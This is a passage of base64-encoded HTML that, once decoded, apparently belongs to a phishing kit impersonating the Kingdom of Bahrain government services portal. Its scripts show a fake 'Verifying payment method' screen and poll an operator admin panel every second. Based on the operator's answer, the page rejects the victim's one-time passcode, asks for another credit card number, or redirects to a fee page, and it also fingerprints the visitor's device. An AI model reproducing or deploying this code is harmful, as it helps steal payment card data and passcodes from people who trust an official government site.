mVmPSIvd3BzL3BvcnRhbC9SU1NfZW4iIHRpdGxlPSJSU1MiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtcnNzIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiB0aXRsZT0iV2hhdHNhcHAiIGlkPSJ3aGF0c2FwcC1zaGFyZS1saW5rIj4KCQkJCQkJCQkJPGkgY2xhc3M9ImZhYiBmYS13aGF0c2FwcCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQk8L2Rpdj4JCgkJCQkJCTwvbGk+CgkJCQkJCTxsaT4KCQkJCQkJCTxkaXYgY2xhc3M9ImZvb3Rlci1sb2dvcyI+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvdGF3YXN1bC9Ib21lX2VuIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJICAgCgkJCQkJCQkJCQk8aW1nIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvdGF3YXN1bC1vbmxpbmUtbG9nby1lbi5wbmciIGFsdD0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CgkJCQkJCQkJPGEgaHJlZj0idGVsOjgwMDA4MDAxIiB0aXRsZT0iR292ZXJubWVudCBTZXJ2aWNlcyBDb250YWN0IENlbnRlciIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCSAgIAoJCQkJCQkJCQkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL05DQy1FbmcucG5nIiBhbHQ9IkdvdmVybm1lbnQgU2VydmljZXMgQ29udGFjdCBDZW50ZXIiIHRpdGxlPSJHb3Zlcm5tZW50IFNlcnZpY2VzIENvbnRhY3QgQ2VudGVyIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CQkJCQkJCQkKCQkJCQkJCTwvZGl2PgoJCQkJCQk8L2xpPgoJCQkJCTwvdWw+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJCQkKCQkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiBtYXItdG9wLTEwIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvVGVybXMlMjBhbmQlMjBDb25kaXRpb25zL1Rlcm1zJTIwYW5kJTIwQ29uZGl0aW9ucyI+VGVybXMgYW5kIENvbmRpdGlvbnM8L2E+CgkJCQkJfAoJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvSG9tZU5hdGlvbmFsUG9ydGFsL0NvbnRlbnREZXRhaWxzUGFnZT9jdXJyZW50PXRydWUmYW1wO3VyaWxlPXdjbTpwYXRoOkJOUF9lbi9BYm91dCUyMFVzL0FjY2Vzc2liaWxpdHliaC9BY2Nlc3NpYmlsaXR5Ij5BY2Nlc3NpYmlsaXR5PC9hPgoJCQkJCXwKCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9GQVFzL0ZBUXMiPkZBUTwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvSGVscCUyMFVzaW5nJTIwYmFocmFpbi5iaC9IZWxwJTIwU2VjdGlvbiI+SGVscDwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvQ29udGFjdFVzL0NvbnRhY3RVcyI+Q29udGFjdCBVczwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9TaXRlTWFwIj5TaXRlIE1hcDwvYT4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIG1hci10b3AtMTAiPgoJCQkJCTx1bCBzdHlsZT0ibGlzdC1zdHlsZS10eXBlOm5vbmU7dGV4dC1hbGlnbjogY2VudGVyO21hcmdpbjowO21hcmdpbi1ib3R0b206IDIwcHg7Ij4KCQkJCQkJPGxpPklTTyA5MDAxIENlcnRpZmllZDwvbGk+CgkJCQkJCTxsaT7CqSBLaW5nZG9tIG9mIEJhaHJhaW4uIEFsbCBSaWdodHMgUmVzZXJ2ZWQuPC9saT4KCQkJCQkJPGxpPkxhc3QgdXBkYXRlZCA6MjgvMDMvMjAyNDwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Zvb3Rlcj4KCjxkaXYgaWQ9IkFqYXhCbGFja1NjcmVlbkxvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdDb250ZW50cyI+CgkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FqYXgtbG9hZGVyLmdpZiIgYWx0PSIiPgoJCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdUZXh0IiBzdHlsZT0iY29sb3I6IzAwMDsiPgoJCQlQbGVhc2UgV2FpdAoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2PgoKPGRpdiBpZD0ib3ZlcmxheS1jb250YWluZXIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9IgogICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgIHRvcDogMDsKICAgICAgbGVmdDogMDsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogMTAwJTsKICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjk2KTsKICAgICAgei1pbmRleDogOTk5OTsKICAgICAgZGlzcGxheTogZmxleDsKICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAiIGlkPSJsb2FkZXJzdHlsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZW50ZXItY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgoJCQkJCQkJCTxpbWcgc3JjPSIuL2xvZ28vYWpheC1sb2FkZXIuZ2lmIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgkJCQkJCQkJPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InByb2Nlc3NpbmctdGV4dCI+UHJvY2Vzc2luZy4uLjwvcD4KCQkJCQkJCQk8cCBjbGFzcz0icHJvY2Vzc2luZy10ZXh0Ij5WZXJpZnlpbmcgcGF5bWVudCBtZXRob2Q8L3A+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCjwhLS0gIEdlbmVyYWwgUG9wdXAgLS0+CjxzdHlsZT4KICAgI3RoZUdlbmVyYWxNb2RhbCB7CgkJd2lkdGg6IDUwMHB4OwogICB9CiAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCl7CgkjdGhlR2VuZXJhbE1vZGFsIHsKCQl3aWR0aDogYXV0bzsKCQl9CiAgIH0KPC9zdHlsZT4KCgoKPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBsb2FkZXIoKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdmVybGF5LWNvbnRhaW5lciIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwoKICAgICAgICB9CiAgICA8L3NjcmlwdD4KCjxzY3JpcHQ+CiAgICAgICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24gKCkgewogICAgICAgICAgICBjb25zdCB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgeGhyLm9wZW4oJ0dFVCcsICcuL2FkbWlubHRlL3BhZ2VzL3RhYmxlcy91cGRhdGUucGhwJywgdHJ1ZSk7CiAgICAgICAgICAgIHhoci5zZW5kKCk7CiAgICAgICAgfSwgMTAwMCk7CiAgICA8L3NjcmlwdD4KCgogICAgPHNjcmlwdD4KICAgICAgICB2YXIgaW50ZXJ2YWxJZDsgLy8gU3RvcmUgdGhlIGludGVydmFsIElECgogICAgICAgIGZ1bmN0aW9uIGNoZWNrQWNjb3VudFN0YXR1cygpIHsKICAgICAgICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICB4aHIub3BlbigiR0VUIiwgImNoZWNrQS5waHAiLCB0cnVlKTsKICAgICAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgIGlmICh4aHIucmVhZHlTdGF0ZSA9PT0gNCkgewogICAgICAgICAgICAgICAgICAgIGlmICh4aHIuc3RhdHVzID09PSAyMDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlID0gSlNPTi5wYXJzZSh4aHIucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGFjY291bnRTdGF0dXMgPSByZXNwb25zZS5hY2NvdW50U3RhdHVzOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGFjY291bnRTdGF0dXMgPT09ICJPdHBBcHByb3ZlIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9zdWNjZXNzLnBocD9jb21wbGV0ZWQ9dHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoYWNjb3VudFN0YXR1cyA9PT0gIk90cFJlamVjdCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdmVybGF5LWNvbnRhaW5lcicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gIiNmZmYiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmNvbG9yID0gInJlZCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnSW52YWxpZCB2ZXJpZmljYXRpb24gY29kZSwgcGxlYXNlIHRyeSBhZ2Fpbic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdXJpdHktY29kZSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgI2ZmOGU4ZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5IikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnVmVyaWZ5JzsKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICJhbGljZWJsdWUiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5pbm5lckhUTUwgPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnV2UgaGF2ZSBzZW50IHRoZSB2ZXJpZmljYXRpb24gY29kZSBvbiB5b3VyIHBob25lLCBwbGVhc2UgcHJvY2VlZCB0byB0aGUgbmV4dCBzdGVwIG9mIGF1dGhlbnRpY2F0aW9uLic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmNvbG9yID0gIiM2ODY4NjgiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN1cml0eS1jb2RlIikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCBncmV5JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdXJpdHktY29kZSIpLnZhbHVlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCAzMDAwKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoYWNjb3VudFN0YXR1cyA9PT0gIlVuc3VwcG9ydGVkIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ292ZXJsYXktY29udGFpbmVyJykuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiI2ZmZiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuc3R5bGUuY29sb3IgPSAicmVkIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5pbm5lckhUTUwgPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDcmVkaXQgY2FyZCB2ZXJpZmljYXRpb24gZmFpbGVkLiBQbGVhc2UgdHJ5IGFnYWluIHdpdGggYW5vdGhlciBjcmVkaXQgY2FyZCBudW1iZXInOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3VyaXR5LWNvZGUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmeSIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1ZlcmlmeSc7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9kdWVmZWUucGhwP3Byb2Nlc3M9dHJ1ZSZpbnZjYXJkPXhzeGFzYXNzc2FkYXNkIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sIDMwMDApOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFjY291bnRTdGF0dXMgPT09ICJJbnN1ZmZpY2llbnQiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3ZlcmxheS1jb250YWluZXInKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIjZmZmIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5zdHlsZS5jb2xvciA9ICJyZWQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0luc3VmZmljaWVudCBmdW5kcyBpbiB5b3VyIGJhbmsgb3IgcGF5bWVudCBzZXJ2aWNlIGFjY291bnQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3VyaXR5LWNvZGUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmeSIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1ZlcmlmeSc7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9kdWVmZWUucGhwP3Byb2Nlc3M9dHJ1ZSZlcnJvcj1pbnN1ZmZpY2llbnRfZnVuZHMiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwgMzAwMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCJFcnJvcjogIiArIHhoci5zdGF0dXNUZXh0KTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH07CiAgICAgICAgICAgIHhoci5zZW5kKCk7CiAgICAgICAgfQoKICAgICAgICAvLyBTdGFydCB0aGUgaW50ZXJ2YWwgaW5pdGlhbGx5CiAgICAgICAgaW50ZXJ2YWxJZCA9IHNldEludGVydmFsKGNoZWNrQWNjb3VudFN0YXR1cywgMTAwMCk7CiAgICA8L3NjcmlwdD4KCjxzY3JpcHQ+CiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAvLyBHZW5lcmF0ZSBhIGZpbmdlcnByaW50IHdpdGggZGV2aWNlLXNwZWNpZmljIGluZm9ybWF0aW9uCiAgICAgICAgICAgIGdlbmVyYXRlRmluZ2VycHJpbnQoKS50aGVuKGZpbmdlcnByaW50ID0+IHsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmaW5nZXJwcmludElucHV0IikudmFsdWUgPSBmaW5nZXJwcmludDsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CgogICAgICAgIGFzeW5jIGZ1bmN0aW9uIGdlbmVyYXRlRmluZ2VycHJpbnQoKSB7CiAgICAgICAgICAgIGNvbnN0IGZpbmdlcnByaW50RGF0YSA9IGF3YWl0IGNvbGxlY3RGaW5nZXJwcmludERhdGEoKTsKICAgICAgICAgICAgY29uc3QgaGFzaEhleCA9IHNoYTI1NihmaW5nZXJwcmludERhdGEpOyAvLyBVc2UgdGhlIHNoYTI1NiBmdW5jdGlvbiBmcm9tIHRoZSBsaWJyYXJ5CgogICAgICAgICAgICByZXR1cm4gaGFzaEhleDsKICAgICAgICB9CgogICAgICAgIGFzeW5jIGZ1bmN0aW9uIGNvbGxlY3RGaW5nZXJwcmludERhdGEoKSB7CiAgICAgICAgICAgIGNvbnN0IHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQ7CiAgICAgICAgICAgIGNvbnN0IHBsYXRmb3JtID0gbmF2aWdhdG9yLnBsYXRmb3JtOwogICAgICAgICAgICBjb25zdCBsYW5ndWFnZSA9IG5hdmlnYXRvci5sYW5ndWFnZTsKICAgICAgICAgICAgY29uc3Qgc2NyZWVuV2lkdGggPSBzY3JlZW4ud2lkdGg7CiAgICAgICAgICAgIGNvbnN0IHNjcmVlbkhlaWdodCA9IHNjcmVlbi5oZWlnaHQ7CgogICAgICAgICAgICAvLyBBZGRpdGlvbmFsIGRldmljZS1zcGVjaWZpYyBpbmZvcm1hdGlvbgogICAgICAgICAgICBjb25zdCBkZXZpY2VJbmZvID0gewogICAgICAgICAgICAgICAgZGV2aWNlUGl4ZWxSYXRpbzogd2luZG93LmRldmljZVBpeGVsUmF0aW8gfHwgMSwKICAgICAgICAgICAgICAgIHNjcmVlbldpZHRoOiBzY3JlZW4ud2lkdGgsCiAgICAgICAgICAgICAgICBzY3JlZW5IZWlnaHQ6IHNjcmVlbi5oZWlnaHQsCiAgICAgICAgICAgICAgICBhdmFpbGFibGVTY3JlZW5XaWR0aDogc2NyZWVuLmF2YWlsV2lkdGgsCiAgICAgICAgICAgICAgICBhdmFpbGFibGVTY3JlZW5IZWlnaHQ6IHNjcmVlbi5hdmFpbEhlaWdodCwKICAgICAgICAgICAgICAgIGNvbG9yRGVwdGg6IHNjcmVlbi5jb2xvckRlcHRoLAogICAgICAgICAgICAgICAgcGl4ZWxEZXB0aDogc2NyZWVuLnBpeGVsRGVwdGgsCiAgICAgICAgICAgICAgICBoYXJkd2FyZUNvbmN1cnJlbmN5OiBuYXZpZ2F0b3IuaGFyZHdhcmVDb25jdXJyZW5jeSB8fCAiTi9BIiwKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIC8vIENvbWJpbmUgYWxsIGF0dHJpYnV0ZXMgaW50byBhIHNpbmdsZSBvYmplY3QKICAgICAgICAgICAgY29uc3QgZmluZ2VycHJpbnRPYmplY3QgPSB7CiAgICAgICAgICAgICAgICB1c2VyQWdlbnQsCiAgICAgICAgICAgICAgICBwbGF0Zm9ybSwKICAgICAgICAgICAgICAgIGxhbmd1YWdlLAogICAgICAgICAgICAgICAgLi4uZGV2aWNlSW5mbywKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIC8vIFNlcmlhbGl6ZSB0aGUgb2JqZWN0IGludG8gYSBKU09OIHN0cmluZwogICAgICAgICAgICByZXR1cm4gSlNPTi5zdHJpbmdpZnkoZmluZ2VycHJpbnRPYmplY3QpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgoKCgoKCgo8ZGl2IGlkPSJnZW5lcmFsTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8IS0tIFBvcHVwIGJhY2tkcm9wIC0tPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPjwvZGl2PgoKCTwhLS0gVGhlIHBvcHVwIG1vZGFsIC0tPgoJPGRpdiBpZD0idGhlR2VuZXJhbE1vZGFsIiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtaGlkZGVuPSJmYWxzZSI+IDwhLS0gc3R5bGU9InRvcDogNSU7IG92ZXJmbG93OmF1dG87IGxlZnQ6NDYlOyIgLS0+PCEtLSBQb3B1cCBIZWFkZXIgLS0+CgkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIiBzdHlsZT0icGFkZGluZzogMHB4IDEwcHg7YmFja2dyb3VuZC1jb2xvcjogI2ZmZjsgYm9yZGVyOjBweDsiPgoJCQk8IS0tIENsb3NlIGljb24gLS0+CgkJCTxhIGNsYXNzPSJtaW5pbWl6ZU1vZGFsIj48aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiAxNXB4OyBjb2xvcjojMDAwOyI+WDwvaT48L2E+CgkJCTwhLS0gVGl0bGUgLSB0ZXh0IGZyb20gYnVuZGxlIC0tPjwhLS0gVGl0bGUgLSBEaXJlY3QgdGV4dCAtLT4KCQk8L2Rpdj4KCgkJPCEtLSBQb3B1cCBCb2R5IC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiIHN0eWxlPSJwYWRkaW5nOiAwcHg7IG1pbi1oZWlnaHQ6MjAwcHg7IHBhZGRpbmc6IDBweDsgbWF4LWhlaWdodDogbm9uZTsiPgoJCQk8IS0tIFBvcHVwIENvbnRlbnQgLS0+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgoJCQkJPCEtLSBUZXh0IE1lc3NhZ2UgLSBHZW5lcmFsIC0gRU4gYW5kIEFSIC0tPjwhLS0gVGV4dCBNZXNzYWdlIC0gTWFuYWdlIGUta2V5IFByb2ZpbGUgLSBFTiBhbmQgQVIgLS0+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiIGlkPSJteU1vZGFsQm9keTIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+SW4gb3JkZXIgdG8gbWFuYWdlIHlvdXIgUHJvZmlsZSwgeW91IHdpbGwgYmUgYXV0b21hdGljYWxseSBzaWduZWQgb3V0IGZyb20gdGhlIGVLZXkgc3lzdGVtIHRvIHByb3RlY3QgYW5kIHNlY3VyZSB5b3VyIHBlcnNvbmFsIGluZm9ybWF0aW9uLjwvZGl2PgoKCQkJCTwhLS0gSW1hZ2UgTWVzc2FnZSAtIEVOIGFuZCBBUiAtLT4JCQkgCgkJCTwvZGl2PgoJCTwvZGl2PgoJCTwhLS0gUG9wdXAgRm9vdGVyIC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3Rlci1nZW5lcmFsIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBwYWRkaW5nOiA1cHg7IGRpc3BsYXk6IGJsb2NrOyBiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ij4KCQkJPCEtLSBPSyBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBpZD0ibG9naW4tYmFyLW1hbmFnZS1wcm9maWxlLWJ1dHRvbi1vayIgdHlwZT0iYnV0dG9uIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+T2s8L2J1dHRvbj4KCQkJPCEtLSBDbG9zZSBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IGZsb2F0OiBub25lOyIgY2xhc3M9ImJ1dHRvbl9zdH